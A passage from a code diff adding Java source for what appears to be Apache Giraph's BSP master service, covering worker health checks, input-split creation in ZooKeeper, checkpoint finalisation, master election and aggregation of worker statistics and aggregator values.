+                unhealthyWorkerList.add(unhealthyWorker);
+            }
+        }
+    }
+
+    /**
+     * Check the workers to ensure that a minimum number of good workers exists
+     * out of the total that have reported.
+     *
+     * @return map of healthy worker list to JSONArray(hostname, port)
+     */
+    private Map<String, JSONArray> checkWorkers() {
+        boolean failJob = true;
+        int pollAttempt = 0;
+        List<String> healthyWorkerList = new ArrayList<String>();
+        List<String> unhealthyWorkerList = new ArrayList<String>();
+        int totalResponses = -1;
+        while (pollAttempt < maxPollAttempts) {
+            getWorkers(
+                getSuperstep(), healthyWorkerList, unhealthyWorkerList);
+            totalResponses = healthyWorkerList.size() +
+                unhealthyWorkerList.size();
+            if ((totalResponses * 100.0f / maxWorkers) >=
+                    minPercentResponded) {
+                failJob = false;
+                break;
+            }
+            getContext().setStatus(getGraphMapper().getMapFunctions() + " " +
+                                   "checkWorkers: Only found " +
+                                   totalResponses +
+                                   " responses of " + maxWorkers +
+                                   " needed to start superstep " +
+                                   getSuperstep());
+            if (getWorkerHealthRegistrationChangedEvent().waitMsecs(
+                    msecsPollPeriod)) {
+                if (LOG.isDebugEnabled()) {
+                    LOG.debug("checkWorkers: Got event that health " +
+                              "registration changed, not using poll attempt");
+                }
+                getWorkerHealthRegistrationChangedEvent().reset();
+                continue;
+            }
+            if (LOG.isInfoEnabled()) {
+                LOG.info("checkWorkers: Only found " + totalResponses +
+                         " responses of " + maxWorkers +
+                         " needed to start superstep " +
+                         getSuperstep() + ".  Sleeping for " +
+                         msecsPollPeriod + " msecs and used " + pollAttempt +
+                         " of " + maxPollAttempts + " attempts.");
+                // Find the missing workers if there are only a few
+                if ((maxWorkers - totalResponses) <= partitionLongTailMinPrint) {
+                    Set<Integer> partitionSet = new TreeSet<Integer>();
+                    for (String hostnamePartitionId : healthyWorkerList) {
+                        int lastIndex = hostnamePartitionId.lastIndexOf("_");
+                        Integer partition = Integer.parseInt(
+                            hostnamePartitionId.substring(lastIndex + 1));
+                        partitionSet.add(partition);
+                    }
+                    for (String hostnamePartitionId : unhealthyWorkerList) {
+                        int lastIndex = hostnamePartitionId.lastIndexOf("_");
+                        Integer partition = Integer.parseInt(
+                            hostnamePartitionId.substring(lastIndex + 1));
+                        partitionSet.add(partition);
+                    }
+                    for (int i = 1; i <= maxWorkers; ++i) {
+                        if (partitionSet.contains(new Integer(i))) {
+                            continue;
+                        } else if (i == getTaskPartition()) {
+                            continue;
+                        } else {
+                            LOG.info("checkWorkers: No response from "+
+                                     "partition " + i + " (could be master)");
+                        }
+                    }
+                }
+            }
+            ++pollAttempt;
+        }
+        if (failJob) {
+            LOG.warn("checkWorkers: Did not receive enough processes in " +
+                     "time (only " + totalResponses + " of " +
+                     minWorkers + " required)");
+            return null;
+        }
+
+        if (healthyWorkerList.size() < minWorkers) {
+            LOG.warn("checkWorkers: Only " + healthyWorkerList.size() +
+                     " available when " + minWorkers + " are required.");
+            return null;
+        }
+
+        Map<String, JSONArray> workerHostnamePortMap =
+            new HashMap<String, JSONArray>();
+        for (String healthyWorker: healthyWorkerList) {
+            String healthyWorkerPath = null;
+            try {
+                healthyWorkerPath =
+                    getWorkerHealthyPath(getApplicationAttempt(),
+                                         getSuperstep()) + "/" +  healthyWorker;
+                JSONArray hostnamePortArray =
+                    new JSONArray(
+                        new String(getZkExt().getData(healthyWorkerPath,
+                                                      false,
+                                                      null)));
+                workerHostnamePortMap.put(healthyWorker, hostnamePortArray);
+            } catch (JSONException e) {
+                throw new RuntimeException(
+                    "checkWorkers: Problem fetching hostname and port for " +
+                    healthyWorker + " in " + healthyWorkerPath);
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "checkWorkers: KeeperException", e);
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(
+                    "checkWorkers: IllegalStateException", e);
+            }
+        }
+
+        return workerHostnamePortMap;
+    }
+
+    public int createInputSplits() {
+        // Only the 'master' should be doing this.  Wait until the number of
+        // processes that have reported health exceeds the minimum percentage.
+        // If the minimum percentage is not met, fail the job.  Otherwise
+        // generate the input splits
+        try {
+            if (getZkExt().exists(INPUT_SPLIT_PATH, false) != null) {
+                LOG.info(INPUT_SPLIT_PATH +
+                         " already exists, no need to create");
+                return Integer.parseInt(
+                    new String(
+                        getZkExt().getData(INPUT_SPLIT_PATH, false, null)));
+            }
+        } catch (KeeperException.NoNodeException e) {
+            if (LOG.isInfoEnabled()) {
+                LOG.info("createInputSplits: Need to create the " +
+                         "input splits at " + INPUT_SPLIT_PATH);
+            }
+        } catch (KeeperException e) {
+            throw new IllegalStateException(
+                "createInputSplits: KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "createInputSplits: IllegalStateException", e);
+        }
+
+        // When creating znodes, in case the master has already run, resume
+        // where it left off.
+        Map<String, JSONArray> healthyWorkerHostnamePortMap = checkWorkers();
+        if (healthyWorkerHostnamePortMap == null) {
+            setJobState(State.FAILED, -1, -1);
+        }
+
+        List<InputSplit> splitList =
+            generateInputSplits(healthyWorkerHostnamePortMap.size());
+        if (healthyWorkerHostnamePortMap.size() > splitList.size()) {
+            LOG.warn("createInputSplits: Number of inputSplits="
+                     + splitList.size() + " < " +
+                     healthyWorkerHostnamePortMap.size() +
+                     "=number of healthy processes");
+        }
+        else if (healthyWorkerHostnamePortMap.size() < splitList.size()) {
+            LOG.fatal("masterGenerateInputSplits: Number of inputSplits="
+                      + splitList.size() + " > " +
+                      healthyWorkerHostnamePortMap.size() +
+                      "=number of healthy processes");
+            setJobState(State.FAILED, -1, -1);
+        }
+        String inputSplitPath = null;
+        for (int i = 0; i< splitList.size(); ++i) {
+            try {
+                ByteArrayOutputStream byteArrayOutputStream =
+                    new ByteArrayOutputStream();
+                DataOutput outputStream =
+                    new DataOutputStream(byteArrayOutputStream);
+                InputSplit inputSplit = splitList.get(i);
+                Text.writeString(outputStream,
+                                 inputSplit.getClass().getName());
+                ((Writable) inputSplit).write(outputStream);
+                inputSplitPath = INPUT_SPLIT_PATH + "/" + i;
+                getZkExt().createExt(inputSplitPath,
+                                     byteArrayOutputStream.toByteArray(),
+                                     Ids.OPEN_ACL_UNSAFE,
+                                     CreateMode.PERSISTENT,
+                                     true);
+                if (LOG.isDebugEnabled()) {
+                    LOG.debug("createInputSplits: Created input split " +
+                              "with index " + i + " serialized as " +
+                              byteArrayOutputStream.toString());
+                }
+            } catch (KeeperException.NodeExistsException e) {
+                if (LOG.isInfoEnabled()) {
+                    LOG.info("createInputSplits: Node " +
+                             inputSplitPath + " already exists.");
+                }
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "createInputSplits: KeeperException", e);
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(
+                    "createInputSplits: IllegalStateException", e);
+            } catch (IOException e) {
+                throw new IllegalStateException(
+                    "createInputSplits: IOException", e);
+            }
+        }
+
+        // Let workers know they can start trying to load the input splits
+        try {
+            getZkExt().create(INPUT_SPLITS_ALL_READY_PATH,
+                        null,
+                        Ids.OPEN_ACL_UNSAFE,
+                        CreateMode.PERSISTENT);
+        } catch (KeeperException.NodeExistsException e) {
+            LOG.info("createInputSplits: Node " +
+                     INPUT_SPLITS_ALL_READY_PATH + " already exists.");
+        } catch (KeeperException e) {
+            throw new IllegalStateException(
+                "createInputSplits: KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "createInputSplits: IllegalStateException", e);
+        }
+
+        return splitList.size();
+    }
+
+    /**
+     * Read the finalized checkpoint file and associated metadata files for the
+     * checkpoint.  Assign one worker per checkpoint point (and associated
+     * vertex ranges).  Remove any unused chosen workers
+     * (this is safe since it wasn't finalized).  The workers can then
+     * find the vertex ranges within the files.  It is an
+     * optimization to prevent all workers from searching all the files.
+     * Also read in the aggregator data from the finalized checkpoint
+     * file.
+     *
+     * @param superstep checkpoint set to examine.
+     * @throws IOException
+     * @throws InterruptedException
+     * @throws KeeperException
+     */
+    private void mapFilesToWorkers(long superstep,
+                                   List<String> chosenWorkerList)
+            throws IOException, KeeperException, InterruptedException {
+        FileSystem fs = getFs();
+        List<Path> validMetadataPathList = new ArrayList<Path>();
+        String finalizedCheckpointPath =
+            getCheckpointBasePath(superstep) + CHECKPOINT_FINALIZED_POSTFIX;
+        DataInputStream finalizedStream =
+            fs.open(new Path(finalizedCheckpointPath));
+        int prefixFileCount = finalizedStream.readInt();
+        for (int i = 0; i < prefixFileCount; ++i) {
+            String metadataFilePath =
+                finalizedStream.readUTF() + CHECKPOINT_METADATA_POSTFIX;
+            validMetadataPathList.add(new Path(metadataFilePath));
+        }
+
+        // Set the merged aggregator data if it exists.
+        int aggregatorDataSize = finalizedStream.readInt();
+        if (aggregatorDataSize > 0) {
+            byte [] aggregatorZkData = new byte[aggregatorDataSize];
+            int actualDataRead =
+                finalizedStream.read(aggregatorZkData, 0, aggregatorDataSize);
+            if (actualDataRead != aggregatorDataSize) {
+                throw new RuntimeException(
+                    "mapFilesToWorkers: Only read " + actualDataRead + " of " +
+                    aggregatorDataSize + " aggregator bytes from " +
+                    finalizedCheckpointPath);
+            }
+            String mergedAggregatorPath =
+                getMergedAggregatorPath(getApplicationAttempt(), superstep - 1);
+            if (LOG.isInfoEnabled()) {
+                LOG.info("mapFilesToWorkers: Reloading merged aggregator " +
+                         "data '" + Arrays.toString(aggregatorZkData) +
+                         "' to previous checkpoint in path " +
+                         mergedAggregatorPath);
+            }
+            if (getZkExt().exists(mergedAggregatorPath, false) == null) {
+                getZkExt().createExt(mergedAggregatorPath,
+                                     aggregatorZkData,
+                                     Ids.OPEN_ACL_UNSAFE,
+                                     CreateMode.PERSISTENT,
+                                     true);
+            }
+            else {
+                getZkExt().setData(mergedAggregatorPath, aggregatorZkData, -1);
+            }
+        }
+        finalizedStream.close();
+
+        Map<String, Set<String>> workerFileSetMap =
+            new HashMap<String, Set<String>>();
+        // Reading the metadata files.  For now, implement simple algorithm:
+        // 1. Every file is set an input split and the partitions are mapped
+        //    accordingly
+        // 2. Every worker gets a hint about which files to look in to find
+        //    the input splits
+        int chosenWorkerListIndex = 0;
+        int inputSplitIndex = 0;
+        I maxVertexIndex = BspUtils.<I>createVertexIndex(getConfiguration());
+        for (Path metadataPath : validMetadataPathList) {
+            String checkpointFilePrefix = metadataPath.toString();
+            checkpointFilePrefix =
+                checkpointFilePrefix.substring(
+                0,
+                checkpointFilePrefix.length() -
+                CHECKPOINT_METADATA_POSTFIX.length());
+            DataInputStream metadataStream = fs.open(metadataPath);
+            long entries = metadataStream.readLong();
+            JSONArray vertexRangeMetaArray = new JSONArray();
+            JSONArray vertexRangeArray = new JSONArray();
+            String chosenWorker =
+                chosenWorkerList.get(chosenWorkerListIndex);
+            for (long i = 0; i < entries; ++i) {
+                long dataPos = metadataStream.readLong();
+                Long vertexCount = metadataStream.readLong();
+                Long edgeCount = metadataStream.readLong();
+                maxVertexIndex.readFields(metadataStream);
+                if (LOG.isDebugEnabled()) {
+                    LOG.debug("mapFileToWorkers: File " + metadataPath +
+                              " with position " + dataPos + ", vertex count " +
+                              vertexCount + " assigned to " + chosenWorker);
+                }
+                ByteArrayOutputStream outputStream =
+                    new ByteArrayOutputStream();
+                DataOutput output = new DataOutputStream(outputStream);
+                maxVertexIndex.write(output);
+
+                JSONObject vertexRangeObj = new JSONObject();
+
+                try {
+                    vertexRangeObj.put(JSONOBJ_NUM_VERTICES_KEY,
+                                       vertexCount);
+                    vertexRangeObj.put(JSONOBJ_NUM_EDGES_KEY,
+                                       edgeCount);
+                    vertexRangeObj.put(JSONOBJ_HOSTNAME_ID_KEY,
+                                       chosenWorker);
+                    vertexRangeObj.put(JSONOBJ_CHECKPOINT_FILE_PREFIX_KEY,
+                                       checkpointFilePrefix);
+                    vertexRangeObj.put(JSONOBJ_MAX_VERTEX_INDEX_KEY,
+                                       Base64.encodeBase64String(
+                                           outputStream.toByteArray()));
+                    vertexRangeMetaArray.put(vertexRangeObj);
+                    vertexRangeArray.put(outputStream.toString("UTF-8"));
+                } catch (JSONException e) {
+                    throw new IllegalStateException(
+                        "mapFilesToWorkers: JSONException ", e);
+                }
+
+                if (!workerFileSetMap.containsKey(chosenWorker)) {
+                    workerFileSetMap.put(chosenWorker, new HashSet<String>());
+                }
+                Set<String> fileSet = workerFileSetMap.get(chosenWorker);
+                fileSet.add(metadataPath.toString());
+            }
+            metadataStream.close();
+
+            String inputSplitPathFinishedPath =
+                INPUT_SPLIT_PATH + "/" + inputSplitIndex +
+                INPUT_SPLIT_FINISHED_NODE;
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("mapFilesToWorkers: Assigning (if not empty) " +
+                          chosenWorker + " the following vertexRanges: " +
+                          vertexRangeArray.toString());
+            }
+
+            // Assign the input splits if there is at least one vertex range
+            if (vertexRangeArray.length() == 0) {
+                continue;
+            }
+            try {
+                if (LOG.isInfoEnabled()) {
+                    LOG.info("mapFilesToWorkers: vertexRangeMetaArray size=" +
+                             vertexRangeMetaArray.toString().length());
+                }
+                getZkExt().createExt(inputSplitPathFinishedPath,
+                                     vertexRangeMetaArray.toString().getBytes(),
+                                     Ids.OPEN_ACL_UNSAFE,
+                                     CreateMode.PERSISTENT,
+                                     true);
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "mapFilesToWorkers: KeeperException", e);
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(
+                    "mapFilesToWorkers: IllegalStateException", e);
+            }
+            ++inputSplitIndex;
+            ++chosenWorkerListIndex;
+            if (chosenWorkerListIndex == chosenWorkerList.size()) {
+                chosenWorkerListIndex = 0;
+            }
+        }
+    }
+
+    public void setup() {
+        // Might have to manually load a checkpoint.
+        // In that case, the input splits are not set, they will be faked by
+        // the checkpoint files.  Each checkpoint file will be an input split
+        // and the input split
+        superstepCounter = getContext().getCounter(
+            "Giraph Stats", "Superstep");
+        vertexCounter = getContext().getCounter(
+            "Giraph Stats", "Aggregate vertices");
+        finishedVertexCounter = getContext().getCounter(
+            "Giraph Stats", "Aggregate finished vertices");
+        edgeCounter = getContext().getCounter(
+            "Giraph Stats", "Aggregate edges");
+        sentMessagesCounter = getContext().getCounter(
+            "Giraph Stats", "Sent messages");
+        currentWorkersCounter = getContext().getCounter(
+            "Giraph Stats", "Current workers");
+        if (getRestartedSuperstep() == -1) {
+            return;
+        }
+        else if (getRestartedSuperstep() < -1) {
+            LOG.fatal("setup: Impossible to restart superstep " +
+                      getRestartedSuperstep());
+            setJobState(BspService.State.FAILED, -1, -1);
+        } else {
+            superstepCounter.increment(getRestartedSuperstep());
+        }
+
+    }
+
+    public boolean becomeMaster() {
+        // Create my bid to become the master, then try to become the worker
+        // or return false.
+        String myBid = null;
+        try {
+            myBid =
+                getZkExt().createExt(MASTER_ELECTION_PATH +
+                    "/" + getHostnamePartitionId(),
+                    null,
+                    Ids.OPEN_ACL_UNSAFE,
+                    CreateMode.EPHEMERAL_SEQUENTIAL,
+                    true);
+        } catch (KeeperException e) {
+            throw new IllegalStateException(
+                "becomeMaster: KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "becomeMaster: IllegalStateException", e);
+        }
+        while (true) {
+            JSONObject jobState = getJobState();
+            try {
+                if ((jobState != null) &&
+                    State.valueOf(jobState.getString(JSONOBJ_STATE_KEY)) ==
+                        State.FINISHED) {
+                    if (LOG.isInfoEnabled()) {
+                        LOG.info("becomeMaster: Job is finished, " +
+                                 "give up trying to be the master!");
+                    }
+                    isMaster = false;
+                    return isMaster;
+                }
+            } catch (JSONException e) {
+                throw new IllegalStateException(
+                    "becomeMaster: Couldn't get state from " + jobState, e);
+            }
+            try {
+                List<String> masterChildArr =
+                    getZkExt().getChildrenExt(
+                        MASTER_ELECTION_PATH, true, true, true);
+                if (LOG.isInfoEnabled()) {
+                    LOG.info("becomeMaster: First child is '" +
+                             masterChildArr.get(0) + "' and my bid is '" +
+                             myBid + "'");
+                }
+                if (masterChildArr.get(0).equals(myBid)) {
+                    LOG.info("becomeMaster: I am now the master!");
+                    isMaster = true;
+                    return isMaster;
+                }
+                LOG.info("becomeMaster: Waiting to become the master...");
+                getMasterElectionChildrenChangedEvent().waitForever();
+                getMasterElectionChildrenChangedEvent().reset();
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "becomeMaster: KeeperException", e);
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(
+                    "becomeMaster: IllegalStateException", e);
+            }
+        }
+    }
+
+    /**
+     * Collect and aggregate the worker statistics for a particular superstep.
+     *
+     * @param superstep Superstep to aggregate on
+     * @return JSONObject with all the aggregated fields
+     */
+    private JSONObject aggregateWorkerStats(long superstep) {
+        long aggregateFinishedVertices = 0;
+        long aggregateVertices = 0;
+        long aggregateEdges = 0;
+        long aggregateSentMessages = 0;
+        // Superstep 0 is special since there is no computation, just get
+        // the stats from the input splits finished nodes.  Otherwise, get the
+        // stats from the all the worker selected nodes
+        if (superstep == 0) {
+            List<String> inputSplitList = null;
+            try {
+                inputSplitList = getZkExt().getChildrenExt(
+                    INPUT_SPLIT_PATH, false, false, true);
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "aggregateWorkerStats: KeeperException", e);
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(
+                    "aggregateWorkerStats: IllegalStateException", e);
+            }
+            for (String inputSplitPath : inputSplitList) {
+                JSONArray statArray = null;
+                try {
+                    String inputSplitFinishedPath = inputSplitPath +
+                        INPUT_SPLIT_FINISHED_NODE;
+                    byte [] zkData =
+                        getZkExt().getData(inputSplitFinishedPath, false, null);
+                    if (zkData == null || zkData.length == 0) {
+                        continue;
+                    }
+                    statArray = new JSONArray(new String(zkData));
+                    if (LOG.isDebugEnabled()) {
+                        LOG.debug("aggregateWorkerStats: input split path " +
+                                  inputSplitPath + " got " + statArray);
+                    }
+                } catch (JSONException e) {
+                    throw new IllegalStateException(
+                        "aggregateWorkerStats: JSONException", e);
+                } catch (KeeperException e) {
+                    throw new IllegalStateException(
+                        "aggregateWorkerStats: KeeperException", e);
+                } catch (InterruptedException e) {
+                    throw new IllegalStateException(
+                        "aggregateWorkerStats: InterruptedException", e);
+                }
+                for (int i = 0; i < statArray.length(); ++i) {
+                    try {
+                        aggregateVertices +=
+                            statArray.getJSONObject(i).getLong(
+                                JSONOBJ_NUM_VERTICES_KEY);
+                        aggregateEdges +=
+                            statArray.getJSONObject(i).getLong(
+                                JSONOBJ_NUM_EDGES_KEY);
+                    } catch (JSONException e) {
+                        throw new IllegalStateException(
+                            "aggregateWorkerStats: JSONException", e);
+                    }
+                }
+            }
+        }
+        else {
+            String workerFinishedPath =
+                getWorkerFinishedPath(getApplicationAttempt(), superstep);
+            List<String> workerFinishedPathList = null;
+            try {
+                workerFinishedPathList =
+                    getZkExt().getChildrenExt(
+                        workerFinishedPath, false, false, true);
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "aggregateWorkerStats: KeeperException", e);
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(
+                    "aggregateWorkerStats: InterruptedException", e);
+            }
+
+            for (String finishedPath : workerFinishedPathList) {
+                JSONObject aggregatorStatObj= null;
+                try {
+                    byte [] zkData =
+                        getZkExt().getData(finishedPath, false, null);
+                    aggregatorStatObj = new JSONObject(new String(zkData));
+                    aggregateFinishedVertices +=
+                        aggregatorStatObj.getLong(JSONOBJ_FINISHED_VERTICES_KEY);
+                    aggregateVertices +=
+                        aggregatorStatObj.getLong(JSONOBJ_NUM_VERTICES_KEY);
+                    aggregateEdges +=
+                        aggregatorStatObj.getLong(JSONOBJ_NUM_EDGES_KEY);
+                    aggregateSentMessages +=
+                        aggregatorStatObj.getLong(JSONOBJ_NUM_MESSAGES_KEY);
+                } catch (JSONException e) {
+                    throw new IllegalStateException(
+                        "aggregateWorkerStats: JSONException", e);
+                } catch (KeeperException e) {
+                    throw new IllegalStateException(
+                        "aggregateWorkerStats: KeeperException", e);
+                } catch (InterruptedException e) {
+                    throw new IllegalStateException(
+                        "aggregateWorkerStats: InterruptedException", e);
+                }
+            }
+         }
+
+        JSONObject aggregateStats = new JSONObject();
+        try {
+            aggregateStats.put(JSONOBJ_FINISHED_VERTICES_KEY,
+                               aggregateFinishedVertices);
+            aggregateStats.put(JSONOBJ_NUM_VERTICES_KEY,
+                               aggregateVertices);
+            aggregateStats.put(JSONOBJ_NUM_EDGES_KEY,
+                               aggregateEdges);
+            aggregateStats.put(JSONOBJ_NUM_MESSAGES_KEY,
+                               aggregateSentMessages);
+        } catch (JSONException e) {
+            throw new IllegalStateException(
+                "aggregateWorkerStats: Failed to put the aggregator " +
+                "stats together", e);
+        }
+        if (LOG.isInfoEnabled()) {
+            LOG.info("aggregateWorkerStats: Aggregation found " +
+                     aggregateFinishedVertices + " of " +
+                     aggregateVertices +
+                     " vertices finished, " + aggregateEdges +
+                     " edges, " + aggregateSentMessages +
+                     " messages sent on superstep = " + getSuperstep());
+        }
+        return aggregateStats;
+    }
+
+    /**
+     * Get the aggregator values for a particular superstep,
+     * aggregate and save them.
+     *
+     * @param superstep superstep to check
+     */
+    private void collectAndProcessAggregatorValues(long superstep) {
+        if (superstep <= 0) {
+            return;
+        }
+        Map<String, Aggregator<? extends Writable>> aggregatorMap =
+            new TreeMap<String, Aggregator<? extends Writable>>();
+        String workerFinishedPath =
+            getWorkerFinishedPath(getApplicationAttempt(), superstep);
+        List<String> hostnameIdPathList = null;
+        try {
+            hostnameIdPathList =
+                getZkExt().getChildrenExt(
+                    workerFinishedPath, false, false, true);
+        } catch (KeeperException e) {
+            throw new IllegalStateException(
+                "collectAndProcessAggregatorValues: KeeperException", e);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(
+                "collectAndProcessAggregatorValues: InterruptedException", e);
+        }
+
+        for (String hostnameIdPath : hostnameIdPathList) {
+            JSONObject aggregatorsStatObj = null;
+            JSONArray aggregatorArray = null;
+            try {
+                byte [] zkData =
+                    getZkExt().getData(hostnameIdPath, false, null);
+                aggregatorsStatObj = new JSONObject(new String(zkData));
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "collectAndProcessAggregatorValues: KeeperException", e);
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(
+                    "collectAndProcessAggregatorValues: InterruptedException",
+                    e);
+            } catch (JSONException e) {
+                throw new IllegalStateException(
+                    "collectAndProcessAggregatorValues: JSONException", e);
+            }
+            try {
+                aggregatorArray = aggregatorsStatObj.getJSONArray(
+                    JSONOBJ_AGGREGATOR_VALUE_ARRAY_KEY);
+            } catch (JSONException e) {
+                if (LOG.isDebugEnabled()) {
+                    LOG.debug("collectAndProcessAggregatorValues: " +
+                              "No aggregators" + " for " + hostnameIdPath);
+                }
+                continue;
+            }
+            for (int i = 0; i < aggregatorArray.length(); ++i) {
+                try {
+                    if (LOG.isInfoEnabled()) {
+                        LOG.info("collectAndProcessAggregatorValues: " +
+                                 "Getting aggregators from " +
+                                 aggregatorArray.getJSONObject(i));
+                    }
+                    String aggregatorName =
+                        aggregatorArray.getJSONObject(i).getString(
+                            AGGREGATOR_NAME_KEY);
+                    String aggregatorClassName =
+                        aggregatorArray.getJSONObject(i).getString(
+                            AGGREGATOR_CLASS_NAME_KEY);
+                    @SuppressWarnings("unchecked")
+                    Aggregator<Writable> aggregator =
+                        (Aggregator<Writable>) aggregatorMap.get(aggregatorName);
+                    boolean firstTime = false;
+                    if (aggregator == null) {
+                        @SuppressWarnings("unchecked")
+                        Aggregator<Writable> aggregatorWritable =
+                            (Aggregator<Writable>) getAggregator(aggregatorName);
+                        aggregator = aggregatorWritable;
+                        if (aggregator == null) {
+                            @SuppressWarnings("unchecked")
+                            Class<? extends Aggregator<Writable>> aggregatorClass =
+                                (Class<? extends Aggregator<Writable>>)
+                                    Class.forName(aggregatorClassName);
+                            aggregator = registerAggregator(
+                                aggregatorName,
+                                aggregatorClass);
+                        }
+                        aggregatorMap.put(aggregatorName, aggregator);
+                        firstTime = true;
+                    }
+                    Writable aggregatorValue =
+                        aggregator.createAggregatedValue();
+                    InputStream input =
+                        new ByteArrayInputStream(
+                            Base64.decodeBase64(
+                                aggregatorArray.getJSONObject(i).
+                                getString(AGGREGATOR_VALUE_KEY)));
+                    aggregatorValue.readFields(new DataInputStream(input));
+                    if (LOG.isDebugEnabled()) {
+                        LOG.debug("collectAndProcessAggregatorValues: " +
+                                  "aggregator value size=" + input.available() +
+                                  " for aggregator=" + aggregatorName +
+                                  " value=" + aggregatorValue);
+                    }
+                    if (firstTime) {
+                        aggregator.setAggregatedValue(aggregatorValue);
+                    } else {
+                        aggregator.aggregate(aggregatorValue);
+                    }
+                } catch (IOException e) {
+                    throw new IllegalStateException(
+                        "collectAndProcessAggregatorValues: " +
+                        "IOException when reading aggregator data " +
+                        aggregatorArray, e);
+                } catch (JSONException e) {
+                    throw new IllegalStateException(
+                        "collectAndProcessAggregatorValues: " +
+                        "JSONException when reading aggregator data " +
+                        aggregatorArray, e);
+                } catch (ClassNotFoundException e) {
+                    throw new IllegalStateException(
+                        "collectAndProcessAggregatorValues: " +
+                        "ClassNotFoundException when reading aggregator data " +
+                        aggregatorArray, e);
+                } catch (InstantiationException e) {
+                    throw new IllegalStateException(
+                        "collectAndProcessAggregatorValues: " +
+                        "InstantiationException when reading aggregator data " +
+                        aggregatorArray, e);
+                } catch (IllegalAccessException e) {
+                    throw new IllegalStateException(
+                        "collectAndProcessAggregatorValues: " +
+                        "IOException when reading aggregator data " +
+                        aggregatorArray, e);
+                }
+            }
+        }
+        if (aggregatorMap.size() > 0) {
+            String mergedAggregatorPath =
+                getMergedAggregatorPath(getApplicationAttempt(), superstep);
+            byte [] zkData = null;
+            JSONArray aggregatorArray = new JSONArray();
+            for (Map.Entry<String, Aggregator<? extends Writable>> entry :
+                    aggregatorMap.entrySet()) {
+                try {
+                    ByteArrayOutputStream outputStream =
+                        new ByteArrayOutputStream();
+                    DataOutput output = new DataOutputStream(outputStream);
+                    entry.getValue().getAggregatedValue().write(output);
+
+                    JSONObject aggregatorObj = new JSONObject();
+                    aggregatorObj.put(AGGREGATOR_NAME_KEY,
+                                      entry.getKey());
+                    aggregatorObj.put(
+                        AGGREGATOR_VALUE_KEY,
+                        Base64.encodeBase64String(outputStream.toByteArray()));
+                    aggregatorArray.put(aggregatorObj);
+                    if (LOG.isInfoEnabled()) {
+                        LOG.info("collectAndProcessAggregatorValues: " +
+                                 "Trying to add aggregatorObj " +
+                                 aggregatorObj + "(" +
+                                 entry.getValue().getAggregatedValue() +
+                                 ") to merged aggregator path " +
+                                 mergedAggregatorPath);
+                    }
+                } catch (IOException e) {
+                    throw new IllegalStateException(
+                        "collectAndProcessAggregatorValues: " +
+                        "IllegalStateException", e);
+                } catch (JSONException e) {
+                    throw new IllegalStateException(
+                        "collectAndProcessAggregatorValues: JSONException", e);
+                }
+            }
+            try {
+                zkData = aggregatorArray.toString().getBytes();
+                getZkExt().createExt(mergedAggregatorPath,
+                                     zkData,
+                                     Ids.OPEN_ACL_UNSAFE,
+                                     CreateMode.PERSISTENT,
+                                     true);
+            } catch (KeeperException.NodeExistsException e) {
+                LOG.warn("collectAndProcessAggregatorValues: " +
+                         mergedAggregatorPath+
+                         " already exists!");
+            } catch (KeeperException e) {
+                throw new IllegalStateException(
+                    "collectAndProcessAggregatorValues: KeeperException", e);
+            } catch (InterruptedException e) {
+                throw new IllegalStateException(
+                    "collectAndProcessAggregatorValues: IllegalStateException",
+                    e);
+            }
+            if (LOG.isInfoEnabled()) {
+                LOG.info("collectAndProcessAggregatorValues: Finished " +
+                         "loading " +
+                         mergedAggregatorPath+ " with aggregator values " +
+                         aggregatorArray);
+            }
+        }
+    }
+
+    /**
+     * Finalize the checkpoint file prefixes by taking the chosen workers and
+     * writing them to a finalized file.  Also write out the master
+     * aggregated aggregator array from the previous superstep.
+     *
+     * @param superstep superstep to finalize
+     * @param chosenWorkerList list of chosen workers that will be finalized
+     * @throws IOException
+     * @throws InterruptedException
+     * @throws KeeperException
+     */
+    private void finalizeCheckpoint(
+            long superstep,
+            List<String> chosenWorkerList)
+            throws IOException, KeeperException, InterruptedException {
+        Path finalizedCheckpointPath =
+            new Path(getCheckpointBasePath(superstep) +
+                     CHECKPOINT_FINALIZED_POSTFIX);
+        try {
+            getFs().delete(finalizedCheckpointPath, false);
+        } catch (IOException e) {
+            LOG.warn("finalizedValidCheckpointPrefixes: Removed old file " +
+                     finalizedCheckpointPath);
+        }
+
+        // Format:
+        // <number of files>
+        // <used file prefix 0><used file prefix 1>...
+        // <aggregator data length><aggregators as a serialized JSON byte array>
+        FSDataOutputStream finalizedOutputStream =
+            getFs().create(finalizedCheckpointPath);
+        finalizedOutputStream.writeInt(chosenWorkerList.size());
+        for (String chosenWorker : chosenWorkerList) {
+            String chosenWorkerPrefix =
+                getCheckpointBasePath(superstep) + "." + chosenWorker;
+            finalizedOutputStream.writeUTF(chosenWorkerPrefix);
+        }
+        String mergedAggregatorPath =
+            getMergedAggregatorPath(getApplicationAttempt(), superstep - 1);
+        if (getZkExt().exists(mergedAggregatorPath, false) != null) {
+            byte [] aggregatorZkData =
+                getZkExt().getData(mergedAggregatorPath, false, null);
+            finalizedOutputStream.writeInt(aggregatorZkData.length);
+            finalizedOutputStream.write(aggregatorZkData);
+        }
+        else {
+            finalizedOutputStream.writeInt(0);
+        }
+        finalizedOutputStream.close();
+        lastCheckpointedSuperstep = superstep;
+    }
+
+    /**
+     * Convert the processed input split data into vertex range assignments
+     * that can be used on the next superstep.
+     *
+     * @param chosenWorkerHostnamePortMap map of chosen workers to
+     *        a hostname and port array
+     */
+    private void inputSplitsToVertexRanges(
+            Map<String, JSONArray> chosenWorkerHostnamePortMap) {
+        List<String> inputSplitPathList = null;
+        List<VertexRange<I, V, E, M>> vertexRangeList =
